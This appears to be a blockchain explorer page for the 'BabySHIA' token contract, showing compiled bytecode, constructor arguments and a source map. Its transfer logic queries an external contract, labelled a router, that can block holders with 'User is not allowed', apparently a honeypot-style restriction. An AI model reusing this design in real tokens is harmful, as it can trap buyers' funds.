5b60006104bf33610450565b90506a52b7d2dcc80cd2e4000000811461050e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610505906114fd565b60405180910390fd5b6105193383836109dd565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105569061170d565b80601f01602080910402602001604051908101604052809291908181526020018280546105829061170d565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b6000806105e461077e565b905060006105f28286610673565b905083811015610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e906115bd565b60405180910390fd5b6106448286868403610786565b60019250505092915050565b60008061065b61077e565b90506106688185856109dd565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610702610d40565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107699061149d565b60405180910390fd5b61077b81610dbe565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ed9061159d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d906114bd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161094491906115dd565b60405180910390a3505050565b600061095d8484610673565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109d757818110156109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c0906114dd565b60405180910390fd5b6109d68484848403610786565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a449061157d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab49061147d565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5f9a371846040518263ffffffff1660e01b8152600401610b189190611425565b60206040518083038186803b158015610b3057600080fd5b505afa158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b689190610fbd565b15610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061153d565b60405180910390fd5b610bb3838383610e84565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c309061151d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d2791906115dd565b60405180910390a3610d3a848484610e89565b50505050565b610d4861077e565b73ffffffffffffffffffffffffffffffffffffffff16610d6661051d565b73ffffffffffffffffffffffffffffffffffffffff1614610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db39061155d565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081359050610e9d816117ae565b92915050565b600081519050610eb2816117c5565b92915050565b600081359050610ec7816117dc565b92915050565b600060208284031215610edf57600080fd5b6000610eed84828501610e8e565b91505092915050565b60008060408385031215610f0957600080fd5b6000610f1785828601610e8e565b9250506020610f2885828601610e8e565b9150509250929050565b600080600060608486031215610f4757600080fd5b6000610f5586828701610e8e565b9350506020610f6686828701610e8e565b9250506040610f7786828701610eb8565b9150509250925092565b60008060408385031215610f9457600080fd5b6000610fa285828601610e8e565b9250506020610fb385828601610eb8565b9150509250929050565b600060208284031215610fcf57600080fd5b6000610fdd84828501610ea3565b91505092915050565b610fef81611685565b82525050565b610ffe81611697565b82525050565b600061100f82611613565b611019818561161e565b93506110298185602086016116da565b6110328161179d565b840191505092915050565b600061104a60238361161e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110b060268361161e565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061111660228361161e565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061117c601d8361161e565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006111bc601a8361161e565b91507f546f6b656e7320616c72656164792064697374726962757465640000000000006000830152602082019050919050565b60006111fc60268361161e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061126260138361161e565b91507f55736572206973206e6f7420616c6c6f776564000000000000000000000000006000830152602082019050919050565b60006112a260208361161e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006112e260258361161e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061134860248361161e565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113ae60258361161e565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611410816116c3565b82525050565b61141f816116cd565b82525050565b600060208201905061143a6000830184610fe6565b92915050565b60006020820190506114556000830184610ff5565b92915050565b600060208201905081810360008301526114758184611004565b905092915050565b600060208201905081810360008301526114968161103d565b9050919050565b600060208201905081810360008301526114b6816110a3565b9050919050565b600060208201905081810360008301526114d681611109565b9050919050565b600060208201905081810360008301526114f68161116f565b9050919050565b60006020820190508181036000830152611516816111af565b9050919050565b60006020820190508181036000830152611536816111ef565b9050919050565b6000602082019050818103600083015261155681611255565b9050919050565b6000602082019050818103600083015261157681611295565b9050919050565b60006020820190508181036000830152611596816112d5565b9050919050565b600060208201905081810360008301526115b68161133b565b9050919050565b600060208201905081810360008301526115d6816113a1565b9050919050565b60006020820190506115f26000830184611407565b92915050565b600060208201905061160d6000830184611416565b92915050565b600081519050919050565b600082825260208201905092915050565b600061163a826116c3565b9150611645836116c3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561167a5761167961173f565b5b828201905092915050565b6000611690826116a3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116f85780820151818401526020810190506116dd565b83811115611707576000848401525b50505050565b6000600282049050600182168061172557607f821691505b602082108114156117395761173861176e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6117b781611685565b81146117c257600080fd5b50565b6117ce81611697565b81146117d957600080fd5b50565b6117e5816116c3565b81146117f057600080fd5b5056fea2646970667358221220085b141c968127094923215cf34574b3c96395a67b98a0b86615e3ee3c3f50bc64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000cdb3342be5b23228a1b20b377d022136ee4d93670000000000000000000000000000000000000000000000000000000000000008426162795348494100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084261627953484941000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): BabySHIA
Arg [1] : symbol_ (string): BabySHIA
Arg [2] : router_ (address): 0xCDb3342Be5b23228A1B20B377D022136ee4D9367

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000cdb3342be5b23228a1b20b377d022136ee4d9367
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 4261627953484941000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [6] : 4261627953484941000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12447:562:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5860:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7582:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6351:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7791:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6193:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8096:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6522:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3216:103;;;:::i;:::-;;12758:248;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2568:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6079:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8345:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6855:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7111:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3474:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5860:100;5914:13;5947:5;5940:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5860:100;:::o;7582:201::-;7665:4;7682:13;7698:12;:10;:12::i;:::-;7682:28;;7721:32;7730:5;7737:7;7746:6;7721:8;:32::i;:::-;7771:4;7764:11;;;7582:201;;;;:::o;6351:108::-;6412:7;6439:12;;6432:19;;6351:108;:::o;7791:295::-;7922:4;7939:15;7957:12;:10;:12::i;:::-;7939:30;;7980:38;7996:4;8002:7;8011:6;7980:15;:38::i;:::-;8029:27;8039:4;8045:2;8049:6;8029:9;:27::i;:::-;8074:4;8067:11;;;7791:295;;;;;:::o;6193:93::-;6251:5;6276:2;6269:9;;6193:93;:::o;8096:238::-;8184:4;8201:13;8217:12;:10;:12::i;:::-;8201:28;;8240:64;8249:5;8256:7;8293:10;8265:25;8275:5;8282:7;8265:9;:25::i;:::-;:38;;;;:::i;:::-;8240:8;:64::i;:::-;8322:4;8315:11;;;8096:238;;;;:::o;6522:127::-;6596:7;6623:9;:18;6633:7;6623:18;;;;;;;;;;;;;;;;6616:25;;6522:127;;;:::o;3216:103::-;2454:13;:11;:13::i;:::-;3281:30:::1;3308:1;3281:18;:30::i;:::-;3216:103::o:0;12758:248::-;2454:13;:11;:13::i;:::-;12830:14:::1;12847:21;12857:10;12847:9;:21::i;:::-;12830:38;;12529:18;12887:6;:24;12879:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;12955:43;12965:10;12977:12;12991:6;12955:9;:43::i;:::-;2478:1;12758:248:::0;:::o;2568:87::-;2614:7;2641:6;;;;;;;;;;;2634:13;;2568:87;:::o;6079:104::-;6135:13;6168:7;6161:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6079:104;:::o;8345:436::-;8438:4;8455:13;8471:12;:10;:12::i;:::-;8455:28;;8494:24;8521:25;8531:5;8538:7;8521:9;:25::i;:::-;8494:52;;8585:15;8565:16;:35;;8557:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;8678:60;8687:5;8694:7;8722:15;8703:16;:34;8678:8;:60::i;:::-;8769:4;8762:11;;;;8345:436;;;;:::o;6855:193::-;6934:4;6951:13;6967:12;:10;:12::i;:::-;6951:28;;6990;7000:5;7007:2;7011:6;6990:9;:28::i;:::-;7036:4;7029:11;;;6855:193;;;;:::o;7111:151::-;7200:7;7227:11;:18;7239:5;7227:18;;;;;;;;;;;;;;;:27;7246:7;7227:27;;;;;;;;;;;;;;;;7220:34;;7111:151;;;;:::o;3474:201::-;2454:13;:11;:13::i;:::-;3583:1:::1;3563:22;;:8;:22;;;;3555:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;3639:28;3658:8;3639:18;:28::i;:::-;3474:201:::0;:::o;205:98::-;258:7;285:10;278:17;;205:98;:::o;11012:380::-;11165:1;11148:19;;:5;:19;;;;11140:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11246:1;11227:21;;:7;:21;;;;11219:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11330:6;11300:11;:18;11312:5;11300:18;;;;;;;;;;;;;;;:27;11319:7;11300:27;;;;;;;;;;;;;;;:36;;;;11368:7;11352:32;;11361:5;11352:32;;;11377:6;11352:32;;;;;;:::i;:::-;;;;;;;;11012:380;;;:::o;11683:453::-;11818:24;11845:25;11855:5;11862:7;11845:9;:25::i;:::-;11818:52;;11905:17;11885:16;:37;11881:248;;11967:6;11947:16;:26;;11939:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12051:51;12060:5;12067:7;12095:6;12076:16;:25;12051:8;:51::i;:::-;11881:248;11683:453;;;;:::o;9251:912::-;9398:1;9382:18;;:4;:18;;;;9374:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9475:1;9461:16;;:2;:16;;;;9453:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9537:15;;;;;;;;;;;:24;;;9562:4;9537:30;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9536:31;9528:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;9602:38;9623:4;9629:2;9633:6;9602:20;:38::i;:::-;9653:19;9675:9;:15;9685:4;9675:15;;;;;;;;;;;;;;;;9653:37;;9724:6;9709:11;:21;;9701:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9841:6;9827:11;:20;9809:9;:15;9819:4;9809:15;;;;;;;;;;;;;;;:38;;;;10044:6;10027:9;:13;10037:2;10027:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;10094:2;10079:26;;10088:4;10079:26;;;10098:6;10079:26;;;;;;:::i;:::-;;;;;;;;10118:37;10138:4;10144:2;10148:6;10118:19;:37::i;:::-;9251:912;;;;:::o;2733:132::-;2808:12;:10;:12::i;:::-;2797:23;;:7;:5;:7::i;:::-;:23;;;2789:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2733:132::o;3835:191::-;3909:16;3928:6;;;;;;;;;;;3909:25;;3954:8;3945:6;;:17;;;;;;;;;;;;;;;;;;4009:8;3978:40;;3999:8;3978:40;;;;;;;;;;;;3835:191;;:::o;12146:125::-;;;;:::o;12281:124::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:137::-;;237:6;231:13;222:22;;253:30;277:5;253:30;:::i;:::-;212:77;;;;:::o;295:139::-;;379:6;366:20;357:29;;395:33;422:5;395:33;:::i;:::-;347:87;;;;:::o;440:262::-;;548:2;536:9;527:7;523:23;519:32;516:2;;;564:1;561;554:12;516:2;607:1;632:53;677:7;668:6;657:9;653:22;632:53;:::i;:::-;622:63;;578:117;506:196;;;;:::o;708:407::-;;;833:2;821:9;812:7;808:23;804:32;801:2;;;849:1;846;839:12;801:2;892:1;917:53;962:7;953:6;942:9;938:22;917:53;:::i;:::-;907:63;;863:117;1019:2;1045:53;1090:7;1081:6;1070:9;1066:22;1045:53;:::i;:::-;1035:63;;990:118;791:324;;;;;:::o;1121:552::-;;;;1263:2;1251:9;1242:7;1238:23;1234:32;1231:2;;;1279:1;1276;1269:12;1231:2;1322:1;1347:53;1392:7;1383:6;1372:9;1368:22;1347:53;:::i;:::-;1337:63;;1293:117;1449:2;1475:53;1520:7;1511:6;1500:9;1496:22;1475:53;:::i;:::-;1465:63;;1420:118;1577:2;1603:53;1648:7;1639:6;1628:9;1624:22;1603:53;:::i;:::-;1593:63;;1548:118;1221:452;;;;;:::o;1679:407::-;;;1804:2;1792:9;1783:7;1779:23;1775:32;1772:2;;;1820:1;1817;1810:12;1772:2;1863:1;1888:53;1933:7;1924:6;1913:9;1909:22;1888:53;:::i;:::-;1878:63;;1834:117;1990:2;2016:53;2061:7;2052:6;2041:9;2037:22;2016:53;:::i;:::-;2006:63;;1961:118;1762:324;;;;;:::o;2092:278::-;;2208:2;2196:9;2187:7;2183:23;2179:32;2176:2;;;2224:1;2221;2214:12;2176:2;2267:1;2292:61;2345:7;2336:6;2325:9;2321:22;2292:61;:::i;:::-;2282:71;;2238:125;2166:204;;;;:::o;2376:118::-;2463:24;2481:5;2463:24;:::i;:::-;2458:3;2451:37;2441:53;;:::o;2500:109::-;2581:21;2596:5;2581:21;:::i;:::-;2576:3;2569:34;2559:50;;:::o;2615:364::-;;2731:39;2764:5;2731:39;:::i;:::-;2786:71;2850:6;2845:3;2786:71;:::i;:::-;2779:78;;2866:52;2911:6;2906:3;2899:4;2892:5;2888:16;2866:52;:::i;:::-;2943:29;2965:6;2943:29;:::i;:::-;2938:3;2934:39;2927:46;;2707:272;;;;;:::o;2985:367::-;;3148:67;3212:2;3207:3;3148:67;:::i;:::-;3141:74;;3245:34;3241:1;3236:3;3232:11;3225:55;3311:5;3306:2;3301:3;3297:12;3290:27;3343:2;3338:3;3334:12;3327:19;;3131:221;;;:::o;3358:370::-;;3521:67;3585:2;3580:3;3521:67;:::i;:::-;3514:74;;3618:34;3614:1;3609:3;3605:11;3598:55;3684:8;3679:2;3674:3;3670:12;3663:30;3719:2;3714:3;3710:12;3703:19;;3504:224;;;:::o;3734:366::-;;3897:67;3961:2;3956:3;3897:67;:::i;:::-;3890:74;;3994:34;3990:1;3985:3;3981:11;3974:55;4060:4;4055:2;4050:3;4046:12;4039:26;4091:2;4086:3;4082:12;4075:19;;3880:220;;;:::o;4106:327::-;;4269:67;4333:2;4328:3;4269:67;:::i;:::-;4262:74;;4366:31;4362:1;4357:3;4353:11;4346:52;4424:2;4419:3;4415:12;4408:19;;4252:181;;;:::o;4439:324::-;;4602:67;4666:2;4661:3;4602:67;:::i;:::-;4595:74;;4699:28;4695:1;4690:3;4686:11;4679:49;4754:2;4749:3;4745:12;4738:19;;4585:178;;;:::o;4769:370::-;;4932:67;4996:2;4991:3;4932:67;:::i;:::-;4925:74;;5029:34;5025:1;5020:3;5016:11;5009:55;5095:8;5090:2;5085:3;5081:12;5074:30;5130:2;5125:3;5121:12;5114:19;;4915:224;;;:::o;5145:317::-;;5308:67;5372:2;5367:3;5308:67;:::i;:::-;5301:74;;5405:21;5401:1;5396:3;5392:11;5385:42;5453:2;5448:3;5444:12;5437:19;;5291:171;;;:::o;5468:330::-;;5631:67;5695:2;5690:3;5631:67;:::i;:::-;5624:74;;5728:34;5724:1;5719:3;5715:11;5708:55;5789:2;5784:3;5780:12;5773:19;;5614:184;;;:::o;5804:369::-;;5967:67;6031:2;6026:3;5967:67;:::i;:::-;5960:74;;6064:34;6060:1;6055:3;6051:11;6044:55;6130:7;6125:2;6120:3;6116:12;6109:29;6164:2;6159:3;6155:12;6148:19;;5950:223;;;:::o;6179:368::-;;6342:67;6406:2;6401:3;6342:67;:::i;:::-;6335:74;;6439:34;6435:1;6430:3;6426:11;6419:55;6505:6;6500:2;6495:3;6491:12;6484:28;6538:2;6533:3;6529:12;6522:19;;6325:222;;;:::o;6553:369::-;;6716:67;6780:2;6775:3;6716:67;:::i;:::-;6709:74;;6813:34;6809:1;6804:3;6800:11;6793:55;6879:7;6874:2;6869:3;6865:12;6858:29;6913:2;6908:3;6904:12;6897:19;;6699:223;;;:::o;6928:118::-;7015:24;7033:5;7015:24;:::i;:::-;7010:3;7003:37;6993:53;;:::o;7052:112::-;7135:22;7151:5;7135:22;:::i;:::-;7130:3;7123:35;7113:51;;:::o;7170:222::-;;7301:2;7290:9;7286:18;7278:26;;7314:71;7382:1;7371:9;7367:17;7358:6;7314:71;:::i;:::-;7268:124;;;;:::o;7398:210::-;;7523:2;7512:9;7508:18;7500:26;;7536:65;7598:1;7587:9;7583:17;7574:6;7536:65;:::i;:::-;7490:118;;;;:::o;7614:313::-;;7765:2;7754:9;7750:18;7742:26;;7814:9;7808:4;7804:20;7800:1;7789:9;7785:17;7778:47;7842:78;7915:4;7906:6;7842:78;:::i;:::-;7834:86;;7732:195;;;;:::o;7933:419::-;;8137:2;8126:9;8122:18;8114:26;;8186:9;8180:4;8176:20;8172:1;8161:9;8157:17;8150:47;8214:131;8340:4;8214:131;:::i;:::-;8206:139;;8104:248;;;:::o;8358:419::-;;8562:2;8551:9;8547:18;8539:26;;8611:9;8605:4;8601:20;8597:1;8586:9;8582:17;8575:47;8639:131;8765:4;8639:131;:::i;:::-;8631:139;;8529:248;;;:::o;8783:419::-;;8987:2;8976:9;8972:18;8964:26;;9036:9;9030:4;9026:20;9022:1;9011:9;9007:17;9000:47;9064:131;9190:4;9064:131;:::i;:::-;9056:139;;8954:248;;;:::o;9208:419::-;;9412:2;9401:9;9397:18;9389:26;;9461:9;9455:4;9451:20;9447:1;9436:9;9432:17;9425:47;9489:131;9615:4;9489:131;:::i;:::-;9481:139;;9379:248;;;:::o;9633:419::-;;9837:2;9826:9;9822:18;9814:26;;9886:9;9880:4;9876:20;9872:1;9861:9;9857:17;9850:47;9914:131;10040:4;9914:131;:::i;:::-;9906:139;;9804:248;;;:::o;10058:419::-;;10262:2;10251:9;10247:18;10239:26;;10311:9;10305:4;10301:20;10297:1;10286:9;10282:17;10275:47;10339:131;10465:4;10339:131;:::i;:::-;10331:139;;10229:248;;;:::o;10483:419::-;;10687:2;10676:9;10672:18;10664:26;;10736:9;10730:4;10726:20;10722:1;10711:9;10707:17;10700:47;10764:131;10890:4;10764:131;:::i;:::-;10756:139;;10654:248;;;:::o;10908:419::-;;11112:2;11101:9;11097:18;11089:26;;11161:9;11155:4;11151:20;11147:1;11136:9;11132:17;11125:47;11189:131;11315:4;11189:131;:::i;:::-;11181:139;;11079:248;;;:::o;11333:419::-;;11537:2;11526:9;11522:18;11514:26;;11586:9;11580:4;11576:20;11572:1;11561:9;11557:17;11550:47;11614:131;11740:4;11614:131;:::i;:::-;11606:139;;11504:248;;;:::o;11758:419::-;;11962:2;11951:9;11947:18;11939:26;;12011:9;12005:4;12001:20;11997:1;11986:9;11982:17;11975:47;12039:131;12165:4;12039:131;:::i;:::-;12031:139;;11929:248;;;:::o;12183:419::-;;12387:2;12376:9;12372:18;12364:26;;12436:9;12430:4;12426:20;12422:1;12411:9;12407:17;12400:47;12464:131;12590:4;12464:131;:::i;:::-;12456:139;;12354:248;;;:::o;12608:222::-;;12739:2;12728:9;12724:18;12716:26;;12752:71;12820:1;12809:9;12805:17;12796:6;12752:71;:::i;:::-;12706:124;;;;:::o;12836:214::-;;12963:2;12952:9;12948:18;12940:26;;12976:67;13040:1;13029:9;13025:17;13016:6;12976:67;:::i;:::-;12930:120;;;;:::o;13056:99::-;;13142:5;13136:12;13126:22;;13115:40;;;:::o;13161:169::-;;13279:6;13274:3;13267:19;13319:4;13314:3;13310:14;13295:29;;13257:73;;;;:::o;13336:305::-;;13395:20;13413:1;13395:20;:::i;:::-;13390:25;;13429:20;13447:1;13429:20;:::i;:::-;13424:25;;13583:1;13515:66;13511:74;13508:1;13505:81;13502:2;;;13589:18;;:::i;:::-;13502:2;13633:1;13630;13626:9;13619:16;;13380:261;;;;:::o;13647:96::-;;13713:24;13731:5;13713:24;:::i;:::-;13702:35;;13692:51;;;:::o;13749:90::-;;13826:5;13819:13;13812:21;13801:32;;13791:48;;;:::o;13845:126::-;;13922:42;13915:5;13911:54;13900:65;;13890:81;;;:::o;13977:77::-;;14043:5;14032:16;;14022:32;;;:::o;14060:86::-;;14135:4;14128:5;14124:16;14113:27;;14103:43;;;:::o;14152:307::-;14220:1;14230:113;14244:6;14241:1;14238:13;14230:113;;;14329:1;14324:3;14320:11;14314:18;14310:1;14305:3;14301:11;14294:39;14266:2;14263:1;14259:10;14254:15;;14230:113;;;14361:6;14358:1;14355:13;14352:2;;;14441:1;14432:6;14427:3;14423:16;14416:27;14352:2;14201:258;;;;:::o;14465:320::-;;14546:1;14540:4;14536:12;14526:22;;14593:1;14587:4;14583:12;14614:18;14604:2;;14670:4;14662:6;14658:17;14648:27;;14604:2;14732;14724:6;14721:14;14701:18;14698:38;14695:2;;;14751:18;;:::i;:::-;14695:2;14516:269;;;;:::o;14791:180::-;14839:77;14836:1;14829:88;14936:4;14933:1;14926:15;14960:4;14957:1;14950:15;14977:180;15025:77;15022:1;15015:88;15122:4;15119:1;15112:15;15146:4;15143:1;15136:15;15163:102;;15255:2;15251:7;15246:2;15239:5;15235:14;15231:28;15221:38;;15211:54;;;:::o;15271:122::-;15344:24;15362:5;15344:24;:::i;:::-;15337:5;15334:35;15324:2;;15383:1;15380;15373:12;15324:2;15314:79;:::o;15399:116::-;15469:21;15484:5;15469:21;:::i;:::-;15462:5;15459:32;15449:2;;15505:1;15502;15495:12;15449:2;15439:76;:::o;15521:122::-;15594:24;15612:5;15594:24;:::i;:::-;15587:5;15584:35;15574:2;;15633:1;15630;15623:12;15574:2;15564:79;:::o

Swarm Source

ipfs://085b141c968127094923215cf34574b3c96395a67b98a0b86615e3ee3c3f50bc
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.